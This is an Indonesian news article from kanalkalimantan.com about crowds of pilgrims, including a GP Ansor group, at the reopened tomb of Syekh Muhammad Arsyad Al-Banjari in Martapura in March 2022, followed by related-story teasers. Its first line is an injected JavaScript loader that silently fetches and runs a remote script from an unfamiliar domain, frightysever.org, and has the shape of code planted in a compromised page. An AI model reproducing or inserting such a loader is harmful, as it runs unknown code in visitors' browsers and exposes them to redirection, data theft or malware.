(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Hari kedua setelah resmi dibuka kembali Kubah Syekh Muhammad Arsyad Al-Banjari atau Datu Kalampayan pada Rabu (30/3/2022), ratusan masyarakat dari berbagai rombongan terlihat memadati kubah Datuk Kalampayan, Kamis (31/3/2022).
Sejak dibuka sekitar pukul 08.30 Wita, rentetan bis yang tak terhitung melintas di kawasan Desa Kalampayan Tengah, Kecamatan Astambul, Kabupaten Banjar tersebut. Berbagai rombongan peziarah pun mulai berdatangan dari berbagai penjuru.
Salah satu rombongan peziarah yang terpantau kanalkalimantan.com ialah rombongan dari Gerakan Pemuda Ansor, yang merupakan salah satu Badan Otonom Nahdlatul Ulama yang bergerak di bidang kepemudaan dan kemasyarakatan.
Salah satu pemimpin rombongan perwakilan daerah Kepulauan Bangka Belitung, Masmuni M mengatakan, dirinya beserta rombongan GP Ansor seluruh provinsi di Indonesia mengadakan agenda berziarah ke makam Syekh Muhammad Arsyad Al-Banjari dan makam Guru Sekumpul.
Baca juga :Â Hasil Barito Putera vs Persib Bandung: Bermain Imbang, Laskar Antasari Jebloskan Persipura ke Liga 2
“Sebelumnya memang sebagian anggota sudah ada yang pernah ke sini dan juga ada yang belum, untuk itu ziarah ini pun sebagai rangkaian agenda kegiatan rombongan GP Ansor, yaitu ke makam Syekh Muhammad Arsyad Al-Banjari dan kemudian ke Sekumpul,” ujar Masmuni warga asal Kepulauan Bangka Belitung yang datang berziarah, Kamis (31/3/2022).
Rombongan yang terlihat memakai jas hijau dan berpeci hitam tersebut diketahui berjumlah sekitar 100 an orang yang mendarat di Kalimantan Selatan sejak hari Rabu kemarin.
“Ya memang kami datang ke sini dengan niat untuk menghormati leluhur karena ziarah ini juga merupakan tradisi,” ungkapnya.
Tak hanya didominasi peziarah luar daerah saja, rombongan peziarah dari dalam wilayah Kabupaten Banjar pun terlihat silih berganti berdatangan untuk berdo’a dan membaca Yasin di kawasan makam.
Tak lupa dengan adanya aturan pengelola, peziarah tertib menaati aturan mengenakan masker dan mencuci tangan.
“Resmi dibuka kembali, peraturan juga sudah dibuat, tentang berapa banyak pengunjung pun kami kami selaku pengurus memperbolehkan masuk, asal peziarah juga menanamkan kesadarannya masing-masing untuk menaati peraturan yang sudah ada tersebut,” ujar Zulkifli, salah seorang pengurus Yayasan Syekh Muhammad Arsyad Al-Banjari. (kanalkalimantan.com/wanda)
Reporter : wanda
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.